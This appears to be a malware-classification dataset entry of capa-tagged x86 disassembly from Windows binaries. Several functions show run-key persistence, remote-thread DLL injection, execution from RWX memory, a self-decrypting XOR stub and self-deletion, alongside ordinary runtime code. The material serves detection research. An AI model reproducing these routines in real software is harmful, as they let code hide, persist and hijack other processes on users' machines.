joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404228
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404458
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4042ab
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404458
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4042ab
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404474
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404334
xor eax, eax
push ebp
push 0x40432d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00404070
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404312
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404494
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404312
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404334
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40444e
cmp byte [ebp - 0xd], 0
jne 0x40437b
cmp byte [ebp - 0x12], 0
je 0x40444e
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404394
dec ebx
cmp byte [ebx], 0x2e
je 0x4043a3
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404393
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40444e
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4043e0
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40444e
cmp byte [ebp - 0xd], 0
je 0x40444e
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40444e
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4045e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40464a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403a50
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402894
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404634
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404651
lea eax, [ebp - 0x10]
call fcn.00403808
ret

Function at 0x404a22
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
inc ecx
adc al, 0xf
mov bh, 0x71
push es
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x404a5d
mov ecx, dword [eax + 8]
test ecx, ecx
jne fcn.00404a44
mov ecx, dword [eax + 0x10]

Function at 0x404a24
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
inc ecx
adc al, 0xf
mov bh, 0x71
push es
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x404a5d
mov ecx, dword [eax + 8]
test ecx, ecx
jne fcn.00404a44
mov ecx, dword [eax + 0x10]

Function at 0x408b78
Capabilities:
Hash data with md5

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x58
call fcn.00402874
mov dword [ebx], 0x67452301
mov dword [ebx + 4], 0xefcdab89
mov dword [ebx + 8], 0x98badcfe
mov dword [ebx + 0xc], 0x10325476
pop ebx
ret
Function at 0x4010e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437004]
jne 0x4010f2
repz ret
jmp fcn.004017b3

Function at 0x4062ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x437004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404406
and dword [ebp - 0x14], 0
cmp dword [0x439c88], 0
mov dword [ebp - 0x18], eax
jne 0x40635e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x406406
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x406406
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x439c88], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x439c8c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x439c90], eax
call edi
push eax
call esi
mov dword [0x439c98], eax
test eax, eax
je 0x40635e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x439c94], eax
mov eax, dword [0x439c94]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4063b7
cmp dword [0x439c98], ecx
je 0x4063b7
push eax
call esi
push dword [0x439c98]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4063b7
test ebx, ebx
je 0x4063b7
call edi
test eax, eax
je 0x4063ae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4063ae
test byte [ebp - 8], 1
jne 0x4063b7
or dword [ebp + 0x10], 0x200000
jmp 0x4063ea
mov eax, dword [0x439c8c]
cmp eax, dword [ebp - 0x18]
je 0x4063ea
push eax
call esi
test eax, eax
je 0x4063ea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4063ea
mov eax, dword [0x439c90]
cmp eax, dword [ebp - 0x18]
je 0x4063ea
push eax
call esi
test eax, eax
je 0x4063ea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x439c88]
call esi
test eax, eax
je 0x406406
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x406408
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010e8
leave
ret
Function at 0x414dd5
Capabilities:
Encode data using xor

Disassembly:
xor dword [edx], ebx
sub esi, 0xa46455b9
inc edi
add edx, 4
add esi, 0x19132e8e
cmp edx, eax
jne fcn.00414dd5
mov ecx, 0xcdf0af35
ret
Function at 0x406520
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b1d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x44
call fcn.00406a60
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, 0x54
call fcn.00406a60
mov byte [ebp - 4], 1
lea edx, [ebp - 0x18]
push edx
mov ecx, dword [ebp - 0x1c]
add ecx, 0x64
call fcn.00406a60
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 4], 0
push 0x28
push 0
mov edx, dword [ebp - 0x1c]
add edx, 8
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
push 0
mov eax, dword [ebp - 0x1c]
add eax, 0x30
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x6a4812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6a481325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6a481325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6a48132c
mov eax, 1
jmp 0x6a481331
mov eax, 0
leave
ret

Function at 0x6a481333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x6a481382
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x6a48137e
jmp 0x6a481392
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x6a48138e
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x6a4814d7
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6a481710
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x6a481774
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6a481b00
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6a48603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6a486034]
sub esp, 4
test ebx, ebx
je 0x6a481b4b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6a481b44
test esi, esi
je 0x6a481b44
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6a481b20
mov dword [esp], 0x6a48603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6a481d30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6a484174
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6a481d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6a481e58
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6a481dbe
cmp eax, 4
jne 0x6a481de0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6a481dce
cmp edx, 4
je 0x6a481dce
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6a481d30
Function at 0x4010e8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x459004]
jne 0x4010f2
repz ret
jmp fcn.004014c4

Function at 0x408cec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404aba
and dword [ebp - 0x14], 0
cmp dword [0x45bc74], 0
mov dword [ebp - 0x18], eax
jne 0x408d9f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x408e47
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x408e47
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45bc74], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45bc78], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45bc7c], eax
call edi
push eax
call esi
mov dword [0x45bc84], eax
test eax, eax
je 0x408d9f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45bc80], eax
mov eax, dword [0x45bc80]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x408df8
cmp dword [0x45bc84], ecx
je 0x408df8
push eax
call esi
push dword [0x45bc84]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x408df8
test ebx, ebx
je 0x408df8
call edi
test eax, eax
je 0x408def
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x408def
test byte [ebp - 8], 1
jne 0x408df8
or dword [ebp + 0x10], 0x200000
jmp 0x408e2b
mov eax, dword [0x45bc78]
cmp eax, dword [ebp - 0x18]
je 0x408e2b
push eax
call esi
test eax, eax
je 0x408e2b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x408e2b
mov eax, dword [0x45bc7c]
cmp eax, dword [ebp - 0x18]
je 0x408e2b
push eax
call esi
test eax, eax
je 0x408e2b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45bc74]
call esi
test eax, eax
je 0x408e47
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x408e49
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010e8
leave
ret
Function at 0x44e000
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x459004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x459db0]
push ebx
mov ebx, dword [0x2bff234]
push edi
mov edi, dword [0x2c016b4]
call fcn.0044df80
cmp dword [0x2c016b4], 0x2f
jne 0x44e06d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.0044dfb0
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.004010e8
add esp, 0x24
ret
Function at 0x44e2d0
Capabilities:
Manipulate console buffer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
jmp 0x44e2e8
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1519a5
jge 0x44e331
mov dword [0x2c0131c], 0x8e46a6f0
cmp dword [0x2c016b4], 0x3dc
jne 0x44e32f
xor ecx, ecx
mov word [ebp - 8], cx
xor edx, edx
mov word [ebp - 6], dx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x44e2df
mov dword [ebp - 0x10], 0
jmp 0x44e343
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x12cad2a
jge 0x44e3e6
cmp dword [0x2c016b4], 0xa5f
jne 0x44e36c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x10], 0x84620b
jne 0x44e391
mov eax, dword [0x45abd0]
mov dword [0x2c016b4], eax
mov ecx, dword [0x2c016b4]
add ecx, 0xa231
mov dword [0x2c016b4], ecx
cmp dword [0x2c016b4], 0x141
jne 0x44e3e1
xor edx, edx
mov word [ebp - 0x24], dx
xor eax, eax
mov word [ebp - 0x22], ax
xor ecx, ecx
mov word [ebp - 0x20], cx
xor edx, edx
mov word [ebp - 0x1e], dx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
mov dword [0x45c1a0], 0xec58acac
mov dword [0x45c1a4], 0xffffffff
jmp 0x44e33a
call fcn.0044e090
jmp dword [0x2bff234]
Function at 0x1000f9ea
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006e41b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1000fb7e
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x1000fa5c
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
jmp 0x1000fb7c
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x24], 0x25b0
mov dword [ebp - 0x44], 0x10007830
cmp dword [ebp - 0x24], 0x296d
jle 0x1000fb09
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
and dword [ebp - 0x14], 0
jmp 0x1000fa94
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x55a0
jge 0x1000fb09
and dword [ebp - 0x18], 0
jmp 0x1000faaa
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x12b6
jge 0x1000fb07
and dword [ebp - 0x1c], 0
jmp 0x1000fac0
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x5ef2
jge 0x1000fb05
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x1c]
cdq
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x74]
call fcn.1000a76e
pop ecx
pop ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
call fcn.100214f8
push eax
call fcn.10055ddf
pop ecx
lea ecx, [ebp - 0x74]
call fcn.100214ee
jmp 0x1000fab9
jmp 0x1000faa3
jmp 0x1000fa8d
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x28], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x2391
jge 0x1000fb25
push dword [ebp - 0x44]
call fcn.10055ddf
pop ecx
jmp 0x1000fb41
or dword [ebp - 4], 0xffffffff
jmp 0x1000fb4b
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x4c]
call fcn.1000a7a6
mov ecx, eax
mov eax, dword [ebp - 0x28]
cdq
mov esi, 0x3e8
idiv esi
add ecx, edx
mov eax, dword [ebp - 0x28]
cdq
mov esi, 0x3e8
idiv esi
add ecx, eax
mov eax, dword [ebp - 0x50]
mov dword [eax], ecx
jmp 0x1000fba0
jmp 0x1000fba0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x54], eax
push 0xaf6
push 0x2c65
push dword [ebp - 0x54]
push 0
push 0x2f3a
call fcn.1002107b
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001d88e
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x1001d8ee
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1001d8cc
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov byte [eax], 1
jmp 0x1001d8ec
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x1001d8ec
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x1001d919
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
push 0
push 0x5832
push 0x5897
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push 0x21a0
call fcn.1001000b
add esp, 0x18
mov esp, ebp
pop ebp
ret